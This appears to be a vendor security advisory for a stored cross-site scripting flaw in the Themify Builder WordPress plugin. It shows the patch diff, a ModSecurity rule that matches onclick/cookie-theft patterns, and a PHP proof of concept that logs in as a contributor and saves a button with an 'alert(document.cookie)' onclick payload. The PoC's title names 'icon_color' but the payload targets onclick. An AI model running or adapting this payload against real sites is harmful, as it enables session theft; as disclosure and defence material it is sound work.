+                    if ( ! empty( $custom_js ) && themify_builder_can_edit_custom_js( $post_id ) ) {
+                        $custom_js = themify_sanitize_builder_custom_js( $custom_js );
+                        if ( $custom_js !== '' ) {
+                            update_metadata( 'post', $rev_id, 'tbp_custom_js', $custom_js );
+                            update_metadata( 'post', $rev_id, '_tbp_custom_js_trusted', '1' );
+                        }
                     }
                     return $rev_id;
                 }
--- a/themify-builder/classes/class-themify-builder-stylesheet.php
+++ b/themify-builder/classes/class-themify-builder-stylesheet.php
@@ -1480,22 +1480,67 @@
     }

     /**
-     * Get RGBA color format from hex color
+     * Whether $color is only a CSS color (hex, rgb/rgba, transparent, or var()).
+     */
+    private static function is_color_value(string $color, int $depth = 0):bool {
+        if ($depth > 3 || $color === '') {
+            return false;
+        }
+        if (strcasecmp($color, 'transparent') === 0) {
+            return true;
+        }
+        if (preg_match('/^#(?:[0-9a-fA-F]{3}|[0-9a-fA-F]{4}|[0-9a-fA-F]{6}|[0-9a-fA-F]{8})$/', $color)) {
+            return true;
+        }
+        if (preg_match('/^rgba?(s*(d{1,3})s*,s*(d{1,3})s*,s*(d{1,3})(?:s*,s*(0|1|0?.d+|1.0+))?s*)$/i', $color, $m)) {
+            for ($i = 1; $i <= 3; $i++) {
+                if ((int) $m[$i] > 255) {
+                    return false;
+                }
+            }
+            return !isset($m[4]) || $m[4] === '' || (float) $m[4] <= 1;
+        }
+        if (preg_match('/^var(s*--[a-zA-Z0-9_-]+s*(?:,s*(.+))?s*)$/s', $color, $m)) {
+            if (!isset($m[1]) || trim($m[1]) === '') {
+                return true;
+            }
+            $fallback = trim($m[1]);
+            return self::is_color_value($fallback, $depth + 1) || preg_match('/^[a-zA-Z]+$/', $fallback) === 1;
+        }
+        return false;
+    }
+
+    /**
+     * Get RGBA color format from hex color.
+     * Returns an empty string when $color is not a hex, rgb()/rgba(), transparent, or var() value.
      *
      * @return string
      */
     public static function get_rgba_color(string $color):string {
-        if (strpos($color, 'rgba') !== false || strpos($color, 'var(--') === 0) {
+        $color = trim($color);
+        if ($color === '') {
+            return '';
+        }
+        if (self::is_color_value($color)) {
             return $color;
         }
-        if (strpos($color, '--') === 0) {
+        if (preg_match('/^--[a-zA-Z0-9_-]+$/', $color)) {
             return 'var(' . $color . ')';
         }
-        $color = explode('_', $color);
-        $opacity = isset($color[1]) && $color[1] !== '' ? $color[1] : '1';
-        if ($opacity >= 0 && $opacity !== '1' && $opacity !== '1.00' && $opacity !== '0.99') {
-            return 'rgba(' . self::hex2rgb($color[0]) . ', ' . $opacity . ')';
+        $parts = explode('_', $color, 2);
+        if (!preg_match('/^#?([0-9a-fA-F]{3,8})$/', $parts[0], $hex) || !in_array(strlen($hex[1]), array(3, 4, 6, 8), true)) {
+            return '';
+        }
+        $opacity = isset($parts[1]) && $parts[1] !== '' ? $parts[1] : '1';
+        if (!preg_match('/^(?:0|1|0?.d+|1.0+)$/', $opacity) || (float) $opacity > 1) {
+            return '';
+        }
+        if ($opacity !== '1' && $opacity !== '1.00' && $opacity !== '0.99') {
+            if (strlen($hex[1]) !== 3 && strlen($hex[1]) !== 6) {
+                return '';
+            }
+            return 'rgba(' . self::hex2rgb($hex[1]) . ', ' . $opacity . ')';
         }
-        return $color[0] !== '' ? ('#' . str_replace('#', '', $color[0])) : '';
+        return '#' . $hex[1];
     }
 }
--- a/themify-builder/classes/class-themify-builder.php
+++ b/themify-builder/classes/class-themify-builder.php
@@ -487,7 +487,7 @@
                 return;
             }
             $js = get_post_meta($post_id, 'tbp_custom_js', true);
-            if (!empty($js)) {
+            if (is_string($js) && $js !== '' && themify_builder_custom_js_is_trusted($post_id)) {
                 self::$custom_js[$post_id] = $js;
             }
         }
--- a/themify-builder/includes/components/row.php
+++ b/themify-builder/includes/components/row.php
@@ -294,13 +294,17 @@
             if (!empty($row['column_h'])) {
                 $cl[] = 'col_auto_height';
             }
-            if (!empty($row['gutter']) && $row['gutter'] !== 'gutter-default') {
+            if (!empty($row['gutter']) && in_array($row['gutter'], array('gutter-narrow', 'gutter-none'), true)) {
                 $cl[] = $row['gutter'];
             }
             if (isset($row['desktop_dir']) && $row['desktop_dir'] === 'rtl') {
                 $cl[] = 'direction_rtl';
             }
-            $cl[] = !empty($row['column_alignment']) ? $row['column_alignment'] : ($isFullpage === true ? 'col_align_middle' : 'col_align_top');
+            $align = !empty($row['column_alignment']) ? $row['column_alignment'] : '';
+            if (!in_array($align, array('col_align_top', 'col_align_middle', 'col_align_bottom'), true)) {
+                $align = $isFullpage === true ? 'col_align_middle' : 'col_align_top';
+            }
+            $cl[] = $align;
         }

         $cl[] = 'tb_col_count_' . count($row['cols']);
@@ -333,10 +337,23 @@
                     $size = 'large';
                 }
             }
-            $bgmode = !empty($row_or_col['styling']['background_slider_mode']) ? $row_or_col['styling']['background_slider_mode'] : 'fullcover';
-            $slider_speed = !empty($row_or_col['styling']['background_slider_speed']) ? $row_or_col['styling']['background_slider_speed'] : '2000';
+            $bgmode = !empty($row_or_col['styling']['background_slider_mode']) && is_string($row_or_col['styling']['background_slider_mode']) ? $row_or_col['styling']['background_slider_mode'] : 'fullcover';
+            if (!in_array($bgmode, array('fullcover', 'best-fit', 'kenburns-effect'), true)) {
+                $bgmode = 'fullcover';
+            }
+            $raw_speed = isset($row_or_col['styling']['background_slider_speed']) ? $row_or_col['styling']['background_slider_speed'] : '';
+            if (is_int($raw_speed) && $raw_speed > 0) {
+                $slider_speed = $raw_speed;
+            } elseif (is_string($raw_speed) && ctype_digit($raw_speed) && (int) $raw_speed > 0) {
+                $slider_speed = (int) $raw_speed;
+            } else {
+                $slider_speed = 2000;
+            }
+            if (!is_string($type) || !in_array($type, array('row', 'column', 'subrow', 'sub_column'), true)) {
+                $type = 'row';
+            }
             ?>
-            <span class="tf_hide <?php echo $type; ?>-slider tb_slider tf_abs" data-bgmode="<?php echo $bgmode; ?>" data-sliderspeed="<?php echo $slider_speed ?>">
+            <span class="tf_hide <?php echo esc_attr($type); ?>-slider tb_slider tf_abs" data-bgmode="<?php echo esc_attr($bgmode); ?>" data-sliderspeed="<?php echo esc_attr($slider_speed); ?>">
                 <span class="tf_abs row-slider-slides tf_w tf_hidden tf_clearfix">
             <?php
             foreach ($images as $i => $img) {
@@ -347,7 +364,7 @@
                 $alt = get_post_meta($img->ID, '_wp_attachment_image_alt', TRUE);
                 ?>
                     <span data-bg="<?php echo esc_url(themify_https_esc($img_data[0])); ?>"<?php if (!empty($alt)): ?> data-bg-alt="<?php esc_attr_e($alt); ?>"<?php endif; ?>>
-                        <a href="javascript:;" rel="nofollow" class="row-slider-dot" data-index="<?php echo $i; ?>"><span class="screen-reader-text">•</span></a>
+                        <a href="javascript:;" rel="nofollow" class="row-slider-dot" data-index="<?php echo (int) $i; ?>"><span class="screen-reader-text"><?php echo (int) ($i + 1); ?></span></a>
                     </span>
                 <?php
             }
@@ -503,7 +520,7 @@
                 self::background_styling($row, 'row', $builder_id);
             }
             ?>
-            <div class="row_inner<?php if (Themify_Builder::$frontedit_active === false): ?> <?php echo $row_content_classes ?><?php endif; ?> tf_box tf_rel">
+            <div class="row_inner<?php if (Themify_Builder::$frontedit_active === false): ?> <?php echo esc_attr($row_content_classes); ?><?php endif; ?> tf_box tf_rel">
                 <?php
                 unset($row_content_classes);
                 if ($count > 0) {
--- a/themify-builder/includes/i18n.php
+++ b/themify-builder/includes/i18n.php
@@ -50,7 +50,9 @@
         'sf_searchby'=>__('Search by', 'themify'),
         'sf_allcf'=>__('All Custom Fields', 'themify'),
         'sf_taxrel'=>__('Taxonomy Relation', 'themify'),
-        'sf_taxrelh'=>__('AND means match all selected terms. OR means match any selected term.', 'themify'),
+        'sf_taxrelh'=>__('AND requires a match in every taxonomy field. OR matches any taxonomy field.', 'themify'),
+        'sf_termrel'=>__('Term Relation', 'themify'),
+        'sf_termrelh'=>__('AND requires all selected terms in this field. OR matches any selected term.', 'themify'),
         'OR'=>__('OR', 'themify'),
         'AND'=>__('AND', 'themify'),
         'sf_layout'=>__('Search & Filter Layout', 'themify'),
@@ -1258,6 +1260,7 @@
         'incorrectImageURL' => __('Incorrect image URL. Please enter a valid image URL.', 'themify'),
         'enterGlobalStyleName' => __('Please enter Global Style name.', 'themify'),
         'errorSaveBuilder'=>__('There was an error while saving. Please try again.', 'themify'),
+        'customJsOmitted'=>__('Custom JavaScript not saved. Your account lacks permission.', 'themify'),
 		'errorSave403'=>__('There was an error while saving. Please check your firewall rules.', 'themify'),
         'img_help'=>__('Image can not be cropped because it is on an external site', 'themify'),
         'img_help2'=>__('Image can not be cropped because it is in the content', 'themify'),
--- a/themify-builder/includes/optin-services/base.php
+++ b/themify-builder/includes/optin-services/base.php
@@ -142,8 +142,9 @@
             }
         }

-        $provider_id = isset($module['provider']) ? sanitize_key($module['provider']) : '';
-        $provider = $provider_id !== '' ? self::get_providers($provider_id, true) : null;
+        /* Saved data omits the default provider. Match template-optin.php. */
+        $provider_id = !empty($module['provider']) ? sanitize_key($module['provider']) : 'mailchimp';
+        $provider = self::get_providers($provider_id, true);
         if (!$provider) {
             wp_send_json_error(array('error' => __('Unknown provider.', 'themify')));
         }
@@ -252,7 +253,14 @@
             $key = static::get_api_key();
         }
         if (empty($key)) {
-            return sprintf(__('%s API Key is missing.', 'themify'), static::get_label());
+            $settings_url = function_exists('themify_is_themify_theme') && themify_is_themify_theme()
+                ? admin_url('admin.php?page=themify#setting-integration_api-optin')
+                : admin_url('admin.php?page=themify-builder&tab=integration');
+            return sprintf(
+                __('%1$s API Key is missing. <a href="%2$s" target="_blank">Enter API key.</a>', 'themify'),
+                esc_html(static::get_label()),
+                esc_url($settings_url)
+            );
         }
         $id = static::get_id();
         $cache_key = 'tb_optin_' . $id . '_' . $key;
--- a/themify-builder/includes/plugin-compat/woocommerce.php
+++ b/themify-builder/includes/plugin-compat/woocommerce.php
@@ -269,6 +269,9 @@
             'cart_hash' => WC()->cart->get_cart_hash(),
             'notices_html' => $notices_html,
         );
+        if ( 'yes' === get_option( 'woocommerce_cart_redirect_after_add' ) ) {
+            $data['redirect'] = wc_get_cart_url();
+        }

         wp_send_json( $data );
     }
--- a/themify-builder/includes/plugin-compat/wpml-translation.php
+++ b/themify-builder/includes/plugin-compat/wpml-translation.php
@@ -37,6 +37,31 @@
 		add_action( 'themify_builder_save_data', [ __CLASS__, 'register_wpml_builder_strings_after_sync' ], 30, 1 );
 		add_action( 'themify_builder_save_data', [ __CLASS__, 'mark_wpml_translations_needing_update_on_save' ], 35, 1 );
 		add_action( 'wpml_pb_translations_auto_updated', [ __CLASS__, 'sync_styling_after_wpml_auto_update' ], 20, 1 );
+		add_filter( 'wpml_tm_translation_job_data', [ __CLASS__, 'strip_builder_static_from_translation_job' ], 10, 1 );
+	}
+
+	/**
+	 * A classic page whose body is only the Builder static copy is already covered by the Builder package.
+	 */
+	public static function strip_builder_static_from_translation_job( $package ) {
+		if ( ! is_array( $package ) || empty( $package['contents']['body'] ) || ! is_array( $package['contents']['body'] ) ) {
+			return $package;
+		}
+		$body = $package['contents']['body'];
+		if ( empty( $body['data'] ) || ! is_string( $body['data'] ) ) {
+			return $package;
+		}
+		$encoded = isset( $body['format'] ) && $body['format'] === 'base64';
+		$content = $encoded ? base64_decode( $body['data'], true ) : $body['data'];
+		if ( ! is_string( $content ) || strpos( $content, '<!--themify_builder_static-->' ) === false ) {
+			return $package;
+		}
+		$remainder = preg_replace( '/<!--themify_builder_static-->.*?<!--/themify_builder_static-->/s', '', $content );
+		if ( ! is_string( $remainder ) || trim( $remainder ) !== '' ) {
+			return $package;
+		}
+		$package['contents']['body']['translate'] = 0;
+		return $package;
 	}

 	/* register Builder package */
--- a/themify-builder/includes/plugin-compat/wpml.php
+++ b/themify-builder/includes/plugin-compat/wpml.php
@@ -8,90 +8,11 @@

 class Themify_Builder_Plugin_Compat_WPML {

-	const BUILDER_SETTINGS_META_KEY = '_themify_builder_settings_json';
-
     static function init() {
         add_action( 'wp_ajax_themify_builder_icl_copy_from_original', array( __CLASS__, 'icl_copy_from_original' ) );
         add_filter( 'get_translatable_documents', array( __CLASS__, 'get_translatable_documents' ) );
-		add_filter( 'wpml_config_array', [ __CLASS__, 'wpml_config_array' ], 99, 1 );
     }

-	/**
-	 * WPML only reads wpml-config.xml from the theme/plugin root, not themify/themify-builder/.
-	 * Merge custom-fields-texts from Builder's config so WPML knows which JSON keys are translatable.
-	 */
-	public static function wpml_config_array( array $config ): array {
-		if ( empty( $config['wpml-config'] ) || ! function_exists( 'icl_xml2array' ) ) {
-			return $config;
-		}
-
-		$file = THEMIFY_BUILDER_DIR . '/wpml-config.xml';
-		if ( ! is_readable( $file ) ) {
-			return $config;
-		}
-
-		$contents = file_get_contents( $file );
-		if ( $contents === false ) {
-			return $config;
-		}
-
-		$builder = icl_xml2array( $contents );
-		if ( empty( $builder['wpml-config']['custom-fields-texts']['key'] ) ) {
-			return $config;
-		}
-
-		return self::replace_custom_fields_texts_key(
-			$config,
-			$builder['wpml-config']['custom-fields-texts']['key'],
-			self::BUILDER_SETTINGS_META_KEY
-		);
-	}
-
-	private static function replace_custom_fields_texts_key( array $config, $builder_keys, string $meta_key ): array {
-		if ( isset( $builder_keys['attr'] ) ) {
-			$builder_keys = [ $builder_keys ];
-		}
-
-		$replacement = null;
-		foreach ( (array) $builder_keys as $key ) {
-			if ( isset( $key['attr']['name'] ) && $key['attr']['name'] === $meta_key ) {
-				$replacement = $key;
-				break;
-			}
-		}
-
-		if ( $replacement === null ) {
-			return $config;
-		}
-
-		if ( empty( $config['wpml-config']['custom-fields-texts']['key'] ) ) {
-			$config['wpml-config']['custom-fields-texts']['key'] = [ $replacement ];
-			return $config;
-		}
-
-		$keys = $config['wpml-config']['custom-fields-texts']['key'];
-		if ( isset( $keys['attr'] ) ) {
-			$keys = [ $keys ];
-		}
-
-		$found = false;
-		foreach ( $keys as $i => $key ) {
-			if ( isset( $key['attr']['name'] ) && $key['attr']['name'] === $meta_key ) {
-				$keys[ $i ] = $replacement;
-				$found      = true;
-				break;
-			}
-		}
-
-		if ( ! $found ) {
-			$keys[] = $replacement;
-		}
-
-		$config['wpml-config']['custom-fields-texts']['key'] = $keys;
-
-		return $config;
-	}
-
     /**
      * Load Builder content from original page when "Copy content" feature in WPML is used
      *
--- a/themify-builder/includes/tpl/tmpl-common.php
+++ b/themify-builder/includes/tpl/tmpl-common.php
@@ -142,7 +142,9 @@
                 <li><button type="button" class="tb_tooltip duplicate btn"><?php echo $duplicate?><span><?php _e('Duplicate this page', 'themify'); ?></span></button></li>
                 <li class="divider"></li>
                 <li><button type="button" class="tb_tooltip custom_css btn<?php echo trim($cus_css) !== '' ? ' active' : ''; ?>"><span><?php _e('Custom CSS', 'themify'); ?></span><?php _e('CSS', 'themify'); ?></button></li>
+                <?php if ( themify_builder_can_edit_custom_js( $post_id ) ) : ?>
                 <li><button type="button" class="tb_tooltip custom_js btn<?php echo trim($cus_js) !== '' ? ' active' : ''; ?>"><span><?php _e('Custom Javascript', 'themify'); ?></span><?php _e('JS', 'themify'); ?></button></li>
+                <?php endif; ?>
                 <li class="divider"></li>
                 <li class="mode">
                     <a href="javascript:;" class="tb_tooltip btn" tabindex="-1"><?php echo themify_get_icon('panel', 'ti') ?><span><?php _e('Interface Options', 'themify'); ?></span></a>
--- a/themify-builder/includes/tpl/tmpl-front.php
+++ b/themify-builder/includes/tpl/tmpl-front.php
@@ -39,7 +39,9 @@
             </li>
             <li class="divider"></li>
             <li class="css"><button type="button" class="tb_tooltip custom_css btn"><span><?php _e('Custom CSS', 'themify'); ?></span><?php _e('CSS', 'themify'); ?></button></li>
+            <?php if ( themify_builder_can_edit_custom_js( isset( $post_id ) ? $post_id : 0 ) ) : ?>
             <li class="js"><button type="button" class="tb_tooltip custom_js btn"><span><?php _e('Custom Javascript', 'themify'); ?></span><?php _e('JS', 'themify'); ?></button></li>
+            <?php endif; ?>
         </ul>
         <div class="save_wrap flex">
             <ul class="menu flex">
--- a/themify-builder/templates/template-accordion.php
+++ b/themify-builder/templates/template-accordion.php
@@ -77,22 +77,23 @@
     echo Themify_Builder_Component_Module::get_module_title($fields_args,'mod_title_accordion');
     ?>

-    <ul class="<?php echo $ui_class ?>"<?php if ( $schema===true ) : ?> itemscope itemtype="https://schema.org/FAQPage"<?php endif; ?>>
+    <ul class="<?php echo esc_attr( $ui_class ); ?>"<?php if ( $schema===true ) : ?> itemscope itemtype="https://schema.org/FAQPage"<?php endif; ?>>
     <?php
     unset($ui_class);
     $content_accordion = array_filter($fields_args['content_accordion']);
     foreach ($content_accordion as $i=>$content):
         $isOpen = isset($content['default_accordion']) && $content['default_accordion'] === 'open';
+        $acc_id = 'acc-' . $tab_id . '-' . $i;
         ?>
         <li<?php if ($isOpen===true):?> class="builder-accordion-active"<?php endif;?><?php if ( $schema===true ) : ?> itemscope itemprop="mainEntity" itemtype="https://schema.org/Question"<?php endif; ?>>
             <<?php echo $fields_args['title_tag']; ?> class="accordion-title tf_rel"<?php if ( $schema===true ) : ?> itemprop="name"<?php endif; ?>>
-                <a href="#acc-<?php echo $tab_id . '-' . $i; ?>" class="tb_title_accordion" aria-controls="acc-<?php echo $tab_id . '-' . $i; ?>" aria-expanded="<?php echo $isOpen===true? 'true' : 'false' ; ?>">
+                <a href="<?php echo esc_attr( '#' . $acc_id ); ?>" class="tb_title_accordion" aria-controls="<?php echo esc_attr( $acc_id ); ?>" aria-expanded="<?php echo $isOpen===true? 'true' : 'false' ; ?>">
                     <?php if ($fields_args['icon_accordion'] !== '') : ?><i class="accordion-icon<?php if ($isOpen===true):?> tf_hide<?php endif;?>"><?php echo themify_get_icon($fields_args['icon_accordion']); ?></i><?php endif; ?>
                     <?php if ($fields_args['icon_active_accordion'] !== '') : ?><i class="accordion-active-icon<?php if ($isOpen===false):?> tf_hide<?php endif;?>"><?php echo themify_get_icon($fields_args['icon_active_accordion']); ?></i><?php endif; ?>
                     <?php echo isset($content['title_accordion'])?'<span class="accordion-title-wrap">'.wp_kses_post($content['title_accordion']).'</span>':''; ?>
                 </a>
             </<?php echo $fields_args['title_tag']; ?>><!-- .accordion-title -->
-            <div id="acc-<?php echo $tab_id . '-' . $i; ?>" data-id="acc-<?php echo $tab_id . '-' . $i; ?>" aria-hidden="<?php echo $isOpen===true? 'false' : 'true' ; ?>" class="accordion-content<?php if ($isOpen===false): ?> tf_hide<?php endif; ?> tf_clearfix"<?php if ( $schema === true ) : ?> itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer"<?php endif; ?>>
+            <div id="<?php echo esc_attr( $acc_id ); ?>" data-id="<?php echo esc_attr( $acc_id ); ?>" aria-hidden="<?php echo $isOpen===true? 'false' : 'true' ; ?>" class="accordion-content<?php if ($isOpen===false): ?> tf_hide<?php endif; ?> tf_clearfix"<?php if ( $schema === true ) : ?> itemscope itemprop="acceptedAnswer" itemtype="https://schema.org/Answer"<?php endif; ?>>
                 <?php if(isset($content['text_accordion'])){?>
                     <div<?php if ( $schema===true ) : ?> itemprop="text"<?php endif; ?> class="tb_text_wrap">
                         <?php echo apply_filters('themify_builder_module_content', $content['text_accordion']);?>
--- a/themify-builder/templates/template-blog.php
+++ b/themify-builder/templates/template-blog.php
@@ -505,8 +505,10 @@
                                         remove_filter('the_content_more_link', '__return_empty_string', 99);
                                     } else {
                                         $moreText = themify_builder_get('setting-default_more_text');
-                                        if (!$moreText) {
+                                        if (!is_string($moreText) || $moreText === '') {
                                             $moreText = __('More →', 'themify');
+                                        } else {
+                                            $moreText = themify_translate_more_text($moreText);
                                         }
                                         the_content($moreText);
                                     }
@@ -569,7 +571,7 @@
                     }
                     $url = is_single() ? add_query_arg(array('tf-page' => ($args['paged'] + 1)), get_permalink(get_queried_object_id())) : next_posts($the_query->max_num_pages, false);
                     $load_more_text = $fields_args['load_more_text'] !== '' ? $fields_args['load_more_text'] : __('Load More', 'themify');
-                    echo '<p class="tf_load_more tf_textc tf_clear"><a data-id="', $element_id, '" href="', esc_url( $url ), '" data-page="', esc_attr($args['paged']), '" class="load-more-button">', esc_html( $load_more_text ), '</a></p>';
+                    echo '<p class="tf_load_more tf_textc tf_clear"><a data-id="', esc_attr( $element_id ), '" href="', esc_url( $url ), '" data-page="', esc_attr($args['paged']), '" class="load-more-button">', esc_html( $load_more_text ), '</a></p>';
                 }
                 ?>
         <?php else: ?>
--- a/themify-builder/templates/template-box.php
+++ b/themify-builder/templates/template-box.php
@@ -42,7 +42,7 @@
 }
 if ($fields_args['icon'] !== '') {
     Themify_Builder_Model::load_module_self_style($mod_name, 'box-icon');
-    $icon_color = $fields_args['icon_color'] !== '' ? ' style="color:' . Themify_Builder_Stylesheet::get_rgba_color($fields_args['icon_color']) . '"' : '';
+    $icon_color = $fields_args['icon_color'] !== '' ? ' style="color:' . esc_attr(Themify_Builder_Stylesheet::get_rgba_color($fields_args['icon_color'])) . '"' : '';
 }

 $inner_container_classes = implode(' ', apply_filters('themify_builder_module_inner_classes', array(
--- a/themify-builder/templates/template-buttons.php
+++ b/themify-builder/templates/template-buttons.php
@@ -169,7 +169,10 @@
             $content['id'] = substr($content['id'], 1);
         }
     }
-    if ($content['onclick'] !== '') {
+    // An absent trust marker is legacy saved content. New untrusted scripts are
+    // removed by the save handler; an explicit '0' disables execution.
+    $onclick_allowed = !isset($content['onclick_trusted']) || (string) $content['onclick_trusted'] !== '0';
+    if ($onclick_allowed && isset($content['onclick']) && is_string($content['onclick']) && $content['onclick'] !== '') {
         $link_attr[] = 'onclick="' . esc_attr($content['onclick']) . '"';
     }
     $custom_attrs = $content['custom_attrs'];
@@ -202,7 +205,7 @@
     ?>
         <div class="module-buttons-item tf_in_flx">
         <?php if ($content['link'] !== ''): ?>
-                <a href="<?php echo esc_url($content['link']) ?>" class="<?php echo implode(' ', $link_css_clsss) ?>" <?php echo implode(' ', $link_attr) ?><

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-125011
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20261250,phase:2,deny,status:403,chain,msg:'CVE-2026-125011 Themify Builder Stored XSS via Box Module icon_color data parameter',severity:'CRITICAL',tag:'CVE-2026-125011'"
  SecRule ARGS_POST:action "@streq themify_builder_save" "chain"
    SecRule ARGS_POST:data "@rx onclick[^,}]{0,80}(<|alert|prompt|confirm|eval|document.cookie)" "t:urlDecodeUni,t:jsDecode"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-125011 - Themify Builder <= 7.8.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via Box Module 'icon_color' via 'data' Parameter

$target_url = 'http://example.com'; // Change to your WordPress site URL
$username = 'contributor_user';   // Contributor+ credentials
$password = 'password';

// Step 1: Authenticate and get cookies
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-login.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_COOKIEJAR, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
curl_exec($ch);
curl_close($ch);

// Step 2: Craft malicious builder data with XSS payload in button onclick
$payload = 'alert(document.cookie)'; // XSS payload
$builder_data = [
    'mod_name' => 'buttons',
    'element_id' => 'test_element',
    'mod_settings' => [
        'content_button' => json_encode([
            [
                'label' => 'Click Me',
                'onclick' => $payload,
                'onclick_trusted' => '1', // attempts to bypass trust check
                'btn_uid' => 'b1234567890'
            ]
        ])
    ]
];

// Step 3: Send request to builder save endpoint (AJAX action)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'themify_builder_save', // typical builder save action
    'post_id' => 1,                     // target post ID
    'data' => json_encode([$builder_data])
]));
curl_setopt($ch, CURLOPT_COOKIEFILE, '/tmp/cookies.txt');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

echo "Response: " . $response . "n";

// Step 4: Verify payload stored by fetching the post (as admin or publicly)
// The injected script will execute when the page containing the builder layout is viewed.
// Example: curl $target_url/?p=1

echo "Exploit attempt complete. Check post ID 1 for stored XSS.n";
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.